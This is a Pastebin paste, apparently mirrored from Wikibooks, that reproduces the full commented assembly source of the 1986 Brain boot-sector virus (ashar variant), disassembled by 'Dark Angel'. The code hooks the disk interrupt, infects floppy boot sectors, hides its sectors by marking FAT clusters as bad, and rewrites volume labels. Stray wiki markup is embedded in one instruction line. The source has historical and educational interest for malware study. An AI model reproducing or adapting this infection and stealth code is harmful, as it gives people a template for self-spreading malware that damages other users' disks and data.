Advertisement
FlyFar

Brain Boot Sector Virus Source Code

Feb 24th, 2023 (edited)
2,243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 Kick Assembler 23.87 KB | Cybersecurity | 0 0
  1. ; This is the ashar variant of the classic Pakistani Brain virus. It is large
  2. ; by today's standards, although it was one of the first.  It is a floppy only
  3. ; boot sector infector.
  4.  
  5. brain           segment byte public
  6.                assume  cs:brain, ds:brain
  7.  
  8. ; Disassembly done by Dark Angel
  9.         org 0
  10.  
  11.                cli
  12.                jmp     entervirus
  13. idbytes         db       34h, 12h
  14. firsthead       db      0
  15. firstsector     dw      2707h
  16. curhead         db      0
  17. cursector       dw      1
  18.                db      0, 0, 0, 0
  19.                db      'Welcome to the  Dungeon         '
  20. copyright   db  '(c) 1986 Brain'
  21.                db      17h
  22.         db  '& Amjads (pvt) Ltd   VIRUS_SHOE '
  23.         db  ' RECORD   v9.0   Dedicated to th'
  24.         db  'e dynamic memories of millions o'
  25.         db  'f virus who are no longer with u'
  26.         db  's today - Thanks GOODNESS!!     '
  27.                db      '  BEWARE OF THE er..VIRUS  : \th'
  28.         db  'is program is catching      prog'
  29.         db  'ram follows after these messeges'
  30.         db  '..... $'
  31.         db  '#@%$'
  32.         db  '@!! '
  33. entervirus:
  34.         mov ax,cs
  35.                mov     ds,ax                   ; ds = 0
  36.                mov     ss,ax                   ; set stack to after
  37.                mov     sp,0F000h               ; virus
  38.                sti
  39.                mov     al,ds:[7C00h+offset firsthead]
  40.                mov     ds:[7C00h+offset curhead],al
  41.                mov     cx,ds:[7C00h+offset firstsector]
  42.                mov     ds:[7C00h+offset cursector],cx
  43.                call    calcnext
  44.                mov     cx,5                    ; read five sectors
  45.                mov     bx,7C00h+200h           ; after end of virus
  46.  
  47. loadnext:
  48.                call    readdisk
  49.                call    calcnext
  50.         add bx,200h
  51.                loop    loadnext
  52.  
  53.                mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
  54.                sub     ax,7                    ; - 7 Kb
  55.                mov     word ptr ds:[413h],ax   ; Insert as new value
  56.         mov cl,6
  57.                shl     ax,cl                   ; Convert to paragraphs
  58.         mov es,ax
  59.                mov     si,7C00h                ; Copy from virus start
  60.                mov     di,0                    ; to start of memory
  61.                mov     cx,1004h                ; Copy 1004h bytes
  62.                cld
  63.                rep     movsb
  64.         push    es
  65.         mov ax,200h
  66.         push    ax
  67.                retf                            ; return to old boot sector
  68.  
  69. readdisk:
  70.         push    cx
  71.         push    bx
  72.                mov     cx,4                    ; Try 4 times
  73.  
  74. tryread:
  75.         push    cx
  76.                mov     dh,ds:[7C00h+offset curhead]
  77.                mov     dl,0                    ; Read sector from default
  78.                mov     cx,ds:[7C00h+offset cursector]
  79.                mov     ax,201h                 ; Disk to memory at es:bx
  80.                int     13h
  81.                jnc     readOK
  82.                mov     ah,0                    ; Reset disk
  83.                int     13h                     ; (force read track 0)
  84.         pop cx
  85.                loop    tryread
  86.  
  87.                int     18h                     ; ROM basic on failure
  88. readOK:
  89.         pop cx
  90.         pop bx
  91.         pop cx
  92.         retn
  93.  
  94. calcnext:
  95.                mov     al,byte ptr ds:[7C00h+offset cursector]
  96.         inc al
  97.                mov     byte ptr ds:[7C00h+offset cursector],al
  98.         cmp al,0Ah
  99.                jne     donecalc
  100.                mov     byte ptr ds:[7C00h+offset cursector],1
  101.                mov     al,ds:[7C00h+offset curhead]
  102.         inc al
  103.                mov     ds:[7C00h+offset curhead],al
  104.         cmp al,2
  105.                jne     donecalc
  106.                mov     byte ptr ds:[7C00h+offset curhead],0
  107.                inc     byte ptr ds:[7C00h+offset cursector+1]
  108. donecalc:
  109.         retn
  110.  
  111. ; the following is a collection of garbage bytes
  112.                db       00h, 00h, 00h, 00h, 32h,0E3h
  113.                db       23h, 4Dh, 59h,0F4h,0A1h, 82h
  114.                db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
  115.                db      0CDh, 21h,0A2h, 3Ch, 5Fh
  116. a_data          dw      050Ch
  117. ; Second part of the virus begins here
  118.                jmp     short entersecondpart
  119.                db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
  120. readcounter     db      4                       ; keep track of # reads
  121. curdrive        db      0
  122. int13flag       db      0
  123.  
  124. entersecondpart:
  125.                mov     cs:readcounter,1Fh
  126.                xor     ax,ax
  127.                mov     ds,ax                   ; ds -> interrupt table
  128.                mov     ax,ds:[13h*4]
  129.                mov     ds:[6Dh*4],ax
  130.                mov     ax,ds:[13h*4+2]
  131.                mov     ds:[6Dh*4+2],ax
  132.                mov     ax,offset int13         ; 276h
  133.                mov     ds:[13h*4],ax
  134.         mov ax,cs
  135.                mov     ds:[13h*4+2],ax
  136.                mov     cx,4                    ; 4 tries
  137.                xor     ax,ax
  138.                mov     es,ax                   ; es -> interrupt table
  139.  
  140. tryreadbootsector:
  141.         push    cx
  142.                mov     dh,cs:firsthead
  143.         mov dl,0
  144.                mov     cx,cs:firstsector
  145.                mov     ax,201h                 ; read from default disk
  146.         mov bx,7C00h
  147.                int     6Dh                     ; int 13h
  148.                jnc     readbootOK
  149.         mov ah,0
  150.                int     6Dh                     ; int 13h
  151.         pop cx
  152.                loop    tryreadbootsector
  153.  
  154.                int     18h                     ; ROM basic on failure
  155. readbootOK:                                     ; return control to
  156.                                                ; original boot sector
  157. ;*              jmp     far ptr 0000:7C00h
  158.         db  0EAh, 00h, 7Ch, 00h, 00h
  159.                nop                             ; MASM NOP!!!
  160. int13:
  161.                sti
  162.                cmp     ah,2                    ; if not read request,
  163.                jne     doint13                 ; do not go further
  164.                cmp     dl,2                    ; if after second floppy,
  165.                ja      doint13                 ; do not go further
  166.                cmp     ch,0                    ; if not reading boot sector,
  167.                jne     regularread             ; go handle as usual
  168.                cmp     dh,0                    ; if boot sector,
  169.                je      readboot                ; do I<-/>/\|> stuff
  170. regularread:
  171.                dec     cs:readcounter          ; Infect after 4 reads
  172.                jnz     doint13                 ; If counter still OK, don't
  173.                                                 ; do anything else
  174.                 jmp     short readboot          ; Otherwise, try to infect
  175. doint13:
  176.                 jmp     exitint13h
  177. readboot:
  178. ; FINISH THIS!
  179.                 mov     cs:int13flag,0          ; clear flag
  180.                 mov     cs:readcounter,4        ; reset counter
  181.         push    ax
  182.         push    bx
  183.         push    cx
  184.         push    dx
  185.                 mov     cs:curdrive,dl
  186.         mov cx,4
  187.  
  188. tryreadbootblock:
  189.         push    cx
  190.                 mov     ah,0                    ; Reset disk
  191.                 int     6Dh
  192.                 jc      errorreadingbootblock   ; Try again
  193.                 mov     dh,0
  194.         mov cx,1
  195.                 mov     bx,offset readbuffer    ; buffer @ 6BEh
  196.         push    es
  197.         mov ax,cs
  198.         mov es,ax
  199.         mov ax,201h
  200.                 int     6Dh                     ; Read boot sector
  201.         pop es
  202.                 jnc     continuestuff           ; continue if no error
  203. errorreadingbootblock:
  204.                 pop     cx
  205.                 loop    tryreadbootblock
  206.  
  207.                 jmp     short resetdisk         ; too many failures
  208.                 nop
  209. continuestuff:
  210.                 pop     cx                      ; get system id in boot block
  211.                 mov     ax,word ptr cs:[offset readbuffer+4]
  212.                 cmp     ax,1234h                ; already infected?
  213.                 jne     dodisk                  ; if not, infect it
  214.                 mov     cs:int13flag,1          ; flag prev. infection
  215.                 jmp     short noreset
  216. dodisk:
  217.         push    ds
  218.         push    es
  219.         mov ax,cs
  220.         mov ds,ax
  221.         mov es,ax
  222.         push    si
  223.                 call    writevirus              ; infect the disk
  224.                 jc      failme                  ; exit on failure
  225.                 mov     cs:int13flag,2          ; flag success
  226.                 call    changeroot              ; manipulate volume label
  227. failme:
  228.         pop si
  229.         pop es
  230.         pop ds
  231.                 jnc     noreset                 ; don't reset on success
  232. resetdisk:
  233.                mov     ah,0                    ; reset disk
  234.                int     6Dh                     ; int 13h
  235. noreset:
  236.         pop dx
  237.         pop cx
  238.         pop bx
  239.         pop ax
  240.         cmp cx,1
  241.                jne     exitint13h
  242.         cmp dh,0
  243.                jne     exitint13h
  244.                cmp     cs:int13flag,1          ; already infected?
  245.                jne     wasntinfected           ; if wasn't, go elsewhere
  246.                 mov     cx,word ptr cs:[offset readbuffer+7]
  247.                 mov     dx,word ptr cs:[offset readbuffer+5]
  248.                 mov     dl,cs:curdrive          ; otherwise, read real
  249.                 jmp     short exitint13h        ; boot sector
  250. wasntinfected:
  251.                 cmp     cs:int13flag,2          ; successful infection?
  252.                 jne     exitint13h              ; if not, just do call
  253.                 mov     cx,cs:firstsector
  254.                 mov     dh,cs:firsthead
  255. exitint13h:
  256.                 int     6Dh                     ; int 13h
  257.                 retf    2
  258.         db  15 dup (0)
  259.  
  260. FATManip:                                       ; returns al as error code
  261.                 jmp     short delvedeeper
  262.                 nop
  263. FATManipreadcounter dw      3
  264.                 db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
  265. delvedeeper:
  266.                 call    readFAT                 ; Get FAT ID byte
  267.                 mov     ax,word ptr ds:[offset readbuffer]
  268.                 cmp     ax,0FFFDh               ; is it 360K disk?
  269.                 je      is360Kdisk              ; continue if so
  270.                 mov     al,3                    ; al=3 == not good disk
  271.                 stc                             ; flag error
  272.                 retn                            ; and exit
  273. is360Kdisk:
  274.         mov cx,37h
  275.                 mov     FATManipreadcounter,0   ; none found yet
  276. checknextsector:
  277.                 call    FATentry12bit           ; get entry in FAT
  278.                 cmp     ax,0                    ; unused?
  279.                 jne     notunused
  280.                 inc     FATManipreadcounter     ; one more found unused
  281.                 cmp     FATManipreadcounter,3   ; If need more,
  282.                 jne     tryanother              ;  go there
  283.                 jmp     short markembad         ; found 3 consecutive
  284.                 nop                             ; empty sectors
  285. notunused:
  286.                 mov     FATManipreadcounter,0   ; must start over
  287. tryanother:
  288.                 inc     cx                      ; try next sector
  289.                 cmp     cx,163h                 ; end of disk?
  290.                 jne     checknextsector         ; if not, continue
  291.                 mov     al,1                    ; al=1 == none empty
  292.                 stc                             ; Indicate error
  293.         retn
  294. markembad:
  295.                 mov     dl,3                    ; 3 times
  296. markanotherbad:
  297.                 call    markbad12bit
  298.         dec cx
  299.         dec dl
  300.                 jnz     markanotherbad
  301.         inc cx
  302.                 call    calc1sttrack
  303.                 call    writeFAT                ; update FAT
  304.                 mov     al,0                    ; al=0 == ok
  305.                 clc                             ; indicate success
  306.         retn
  307.  
  308. markbad12bit:
  309.                 push    cx
  310.         push    dx
  311.                 mov     si,offset readbuffer    ; si -> buffer
  312.         mov al,cl
  313.                 shr     al,1
  314.                 jc      low_12                  ; low bits
  315.                 call    clus2offset12bit
  316.                 mov     ax,[bx+si]              ; get FAT entry
  317.                 and     ax,0F000h               ; mark it bad
  318.         or  ax,0FF7h
  319.                 jmp     short putitback         ; and put it back
  320.                 nop
  321. low_12:
  322.                 call    clus2offset12bit
  323.                 mov     ax,[bx+si]              ; get FAT entry
  324.                 and     ax,0Fh                  ; mark it bad
  325.         or  ax,0FF70h
  326. putitback:
  327.                 mov     [bx+si],ax              ; replace FAT entry
  328.                 mov     word ptr ds:[400h][bx+si],ax ; in two places
  329.         pop dx
  330.         pop cx
  331.         retn
  332.  
  333. FATentry12bit:
  334.         push    cx
  335.                 mov     si,offset readbuffer    ; si->buffer
  336.         mov al,cl
  337.                 shr     al,1
  338. ; Part 3 of the virus starts here
  339.                 jc      want_high_12
  340.                 call    clus2offset12bit
  341.         mov ax,[bx+si]
  342.                 and     ax,0FFFh
  343.                 jmp     short exitFATentry12bit
  344.                 nop
  345. want_high_12:
  346.                 call    clus2offset12bit        ; xxxxxxxxxxxx0000
  347.                 mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
  348.                 and     ax,0FFF0h               ; mask wanted bits
  349.                 mov     cl,4                    ; and move to correct
  350.                 shr     ax,cl                   ; position
  351. exitFATentry12bit:
  352.         pop cx
  353.         retn
  354.  
  355. clus2offset12bit:
  356.         push    dx
  357.                 mov     ax,3
  358.                 mul     cx
  359.                 shr     ax,1                    ; ax = cx*1.5
  360.         mov bx,ax
  361.         pop dx
  362.         retn
  363.  
  364. readFAT:
  365.                 mov     ah,2                    ; read
  366.                 call    FAT_IO
  367.         retn
  368.  
  369. writeFAT:
  370.                 mov     ah,3                    ; write
  371.                 call    FAT_IO
  372.         retn
  373.  
  374. FAT_IO:
  375.                 mov     cx,4                    ; try four times
  376. FAT_IOLoop:
  377.         push    cx
  378.         push    ax
  379.                 mov     ah,0                    ; reset disk
  380.                 int     6Dh                     ; int 13h
  381.         pop ax
  382.                 jc      tryFAT_IOagain
  383.                 mov     bx,offset readbuffer
  384.                 mov     al,4                    ; 4 sectors
  385.                 mov     dh,0                    ; head 0
  386.                 mov     dl,curdrive
  387.                 mov     cx,2                    ; sector 2
  388.                 push    ax                      ; (FAT)
  389.                 int     6Dh                     ; int 13h
  390.         pop ax
  391.                 jnc     exitFAT_IO
  392. tryFAT_IOagain:
  393.         pop cx
  394.                 loop    FAT_IOLoop
  395.  
  396.         pop ax
  397.         pop ax
  398.         mov al,2
  399.                 stc                             ; mark error
  400.         retn
  401. exitFAT_IO:
  402.         pop cx
  403.         retn
  404.  
  405. calc1sttrack:
  406.         push    cx
  407.                 sub     cx,2
  408.                 shl     cx,1                    ; 2 sectors/cluster
  409.                 add     cx,0Ch                  ; start of data area
  410.                 mov     ax,cx                   ; ax = sector
  411.                 mov     cl,12h                  ; 4096
  412.                 div     cl                      ; ax/4096 = al rem ah
  413.                 mov     byte ptr firstsector+1,al
  414.                 mov     firsthead,0
  415.         inc ah
  416.                 cmp     ah,9                    ; past track 9?
  417.                 jbe     notpasttrack9           ; nope, we are ok
  418.                 sub     ah,9                    ; otherwise, adjust
  419.                 mov     firsthead,1
  420. notpasttrack9:
  421.                 mov     byte ptr firstsector,ah
  422.         pop cx
  423.         retn
  424.  
  425.                 db      0, 0, 0, 0, 0, 0
  426. r_or_w_root     db      3
  427. entrycount      dw      35h
  428.  
  429. tempsave1       dw      303h
  430. tempsave2       dw      0EBEh
  431. tempsave3       dw      1
  432. tempsave4       dw      100h
  433.         db  0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
  434.         db   8Dh, 98h, 9Fh, 8Eh,0E0h
  435.         db  ' (c) ashar $'
  436. changeroot:
  437.                 call    readroot{{typo help inline|reason=similar to breadroot|date=August 2022}}                ; read in root directory
  438.                 jc      donotchangeroot
  439.         push    di
  440.                 call    changevolume            ; change volume label
  441.         pop di
  442.                 jc      donotchangeroot
  443.                 call    writeroot               ; write back new root dir
  444. donotchangeroot:
  445.         retn
  446. ; The following is just garbage bytes
  447.         db  0BBh, 9Bh, 04h,0B9h, 0Bh
  448.                 db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
  449.                 db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
  450.                 db      0C6h, 06h
  451.  
  452. changevolume:
  453.                 mov     entrycount,6Ch
  454.                 mov     si,offset readbuffer+40h; 3nd dir entry
  455.                 mov     tempsave1,dx
  456.                 mov     ax,entrycount           ; 6Ch
  457.                 shr     ax,1
  458.                 mov     tempsave3,ax            ; 36h
  459.                 shr     ax,1
  460.                 mov     tempsave2,ax            ; 1Bh
  461.                 xchg    ax,cx
  462.                 and     cl,43h                  ; cx = 3
  463.                 mov     di,tempsave2
  464.                 add     di,1E3h                 ; di = 01FE
  465. findlabel:
  466.         mov al,[si]
  467.         cmp al,0
  468.                 je      dolabel                 ; no mo entries
  469.                 mov     al,[si+0Bh]             ; attribute byte
  470.                 and     al,8                    ; volume label?
  471.                 cmp     al,8                    ; yes?
  472.                 je      dolabel                 ; then change it!
  473.                 add     si,20h                  ; go to next directory entry
  474.                 dec     entrycount
  475.                 jnz     findlabel               ; loop back
  476.                 stc                             ; Error!
  477.         retn
  478.         db  8Bh
  479. dolabel:
  480.                 mov     bx,[di]                 ; offset a_data
  481.                 xor     bx,tempsave3            ; bx = 53Ah
  482.                 mov     tempsave3,si            ; si->direntry
  483.                 cli
  484.         mov ax,ss
  485.                 mov     tempsave1,ax
  486.                 mov     tempsave2,sp
  487.         mov ax,cs
  488.         mov ss,ax
  489.                 mov     sp,tempsave3
  490.                 add     sp,0Ch                  ;->reserved area
  491.                 mov     cl,51h
  492.         add dx,444Ch
  493.                 mov     di,2555h
  494.         mov cx,0C03h
  495.                 repe    cmpsw
  496.                 mov     ax,0B46h
  497.         mov cx,3
  498.                 rol     ax,cl                   ; ax = 5A30h
  499.                 mov     tempsave3,ax
  500.         mov cx,5
  501.         mov dx,8
  502.                 sub     tempsave3,5210h         ; 820h
  503.                 push    tempsave3               ; store attributes/reserved
  504. ; I haven't commented the remainder of this procedure.
  505. ; It basically changes the volume label to read "(c) Brain"
  506.  
  507. ; Comment mode OFF
  508.  
  509. dowhatever:
  510.                mov     ah,[bx]                 ; 5a3h
  511.         inc bx
  512.                mov     dl,ah
  513.                shl     dl,1
  514.                jc      dowhatever
  515. searchstuff:
  516.                mov     dl,[bx]                 ; dl=C2h
  517.                inc     bx                      ; bx=53Eh
  518.                mov     al,dl
  519.                shl     dl,1
  520.                jc      searchstuff
  521.         add ax,1D1Dh
  522.         push    ax
  523.                inc     tempsave3
  524.                db       73h, 01h               ; jnc $+3
  525.                db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
  526.                xchg    bp,ax
  527.                add     al,0A1h
  528.                xchg    bx,ax
  529.                add     al,8Eh
  530.                sar     bl,1
  531.                add     dh,[bp+si]
  532.                clc
  533.                ret
  534.                ;db       95h, 04h,0A1h, 93h, 04h, 8Eh
  535.                ;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h
  536.  
  537. ; Comment mode ON
  538.  
  539. readroot:
  540.                mov     r_or_w_root,2           ; set action code
  541.                jmp     short do_rw_root        ; easier to do w/
  542.                nop                             ; mov ah, 2
  543. writeroot:
  544.                mov     r_or_w_root,3
  545.                jmp     short do_rw_root        ; this is somewhat useless
  546.                nop
  547. do_rw_root:
  548.                mov     dh,0                    ; head 0
  549.                mov     dl,curdrive
  550.                mov     cx,6                    ; sector 6
  551.                mov     ah,r_or_w_root
  552.                mov     al,4                    ; 4 sectors
  553.                mov     bx,offset readbuffer
  554.                call    doint13h
  555.                jc      exit_rw_root            ; quit on error
  556.         mov cx,1
  557.                mov     dh,1                    ; head 1
  558.                mov     ah,r_or_w_root
  559.         mov al,3
  560.         add bx,800h
  561.                call    doint13h
  562.  
  563. exit_rw_root:
  564.                retn
  565.  
  566. doint13h:
  567.                mov     tempsave1,ax
  568.                mov     tempsave2,bx
  569.                mov     tempsave3,cx
  570.                mov     tempsave4,dx
  571.         mov cx,4
  572.  
  573. doint13hloop:
  574.         push    cx
  575.                mov     ah,0                    ; Reset disk
  576.                int     6Dh
  577.                jc      errordoingint13h
  578.                mov     ax,tempsave1
  579.                mov     bx,tempsave2
  580.                mov     cx,tempsave3
  581.                mov     dx,tempsave4
  582.                int     6Dh                     ; int 13h
  583.                jnc     int13hsuccess
  584. errordoingint13h:
  585.         pop cx
  586.                loop    doint13hloop
  587.  
  588.                stc                             ; indicate error
  589.         retn
  590. int13hsuccess:
  591.         pop cx
  592.         retn
  593.  
  594.         db  0, 0, 0
  595. ; Part 4 of the virus starts here
  596. tempstorecx     dw      3
  597. readwritecurrentdata    dw      301h
  598.  
  599. writevirus:
  600.                call    FATManip
  601.                jc      exitwritevirus
  602.                mov     cursector,1
  603.                mov     curhead,0
  604.                mov     bx,offset readbuffer
  605.                call    readcurrent
  606.                mov     bx,offset readbuffer
  607.                mov     ax,firstsector
  608.                mov     cursector,ax
  609.                mov     ah,firsthead
  610.                mov     curhead,ah
  611.                call    writecurrent
  612.                call    calcnextsector
  613.         mov cx,5
  614.         mov bx,200h
  615. writeanothersector:
  616.                mov     tempstorecx,cx
  617.                call    writecurrent
  618.                call    calcnextsector
  619.         add bx,200h
  620.                mov     cx,tempstorecx
  621.                loop    writeanothersector
  622.  
  623.                mov     curhead,0
  624.                mov     cursector,1
  625.         mov bx,0
  626.                call    writecurrent
  627.                clc                             ; indicate success
  628. exitwritevirus:
  629.         retn
  630.  
  631.  
  632. readcurrent:
  633.                mov     readwritecurrentdata,201h
  634.                jmp     short doreadwrite
  635.                nop
  636. writecurrent:
  637.                mov     readwritecurrentdata,301h
  638.                jmp     short doreadwrite       ; This is pointless.
  639.                nop
  640. doreadwrite:
  641.         push    bx
  642.         mov cx,4
  643.  
  644. tryreadwriteagain:
  645.         push    cx
  646.                mov     dh,curhead
  647.                mov     dl,curdrive
  648.                mov     cx,cursector
  649.                mov     ax,readwritecurrentdata ; read or write?
  650.                int     6Dh                     ; int 13h
  651.                jnc     readwritesuccessful
  652.                mov     ah,0                    ; reset disk
  653.                int     6Dh                     ; int 13h
  654.         pop cx
  655.                loop    tryreadwriteagain
  656.  
  657.         pop bx
  658.         pop bx
  659.                stc                             ; Indicate error
  660.         retn
  661. readwritesuccessful:
  662.         pop cx
  663.         pop bx
  664.         retn
  665.  
  666.  
  667. calcnextsector:
  668.                inc     byte ptr cursector      ; next sector
  669.                cmp     byte ptr cursector,0Ah
  670.                jne     donecalculate           ; finished calculations
  671.                mov     byte ptr cursector,1    ; clear sector #
  672.                inc     curhead                 ; and go to next head
  673.                cmp     curhead,2               ; if not too large,
  674.                jne     donecalculate           ; we are done
  675.                mov     curhead,0               ; otherwise clear head #
  676.                inc     byte ptr cursector+1    ; and advance cylinder
  677. donecalculate:
  678.         retn
  679.  
  680.         db   64h, 74h, 61h
  681.  
  682. ; read buffer starts here
  683. ; insert your favorite boot block below...
  684. readbuffer:
  685. brain           ends
  686.                end
  687.  
  688. External link
  689. Last edited 7 months ago by SHB2000
  690. Wikibooks
  691. Content is available under CC BY-SA 3.0 unless otherwise noted.
  692. Privacy policy Terms of UseDesktop
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement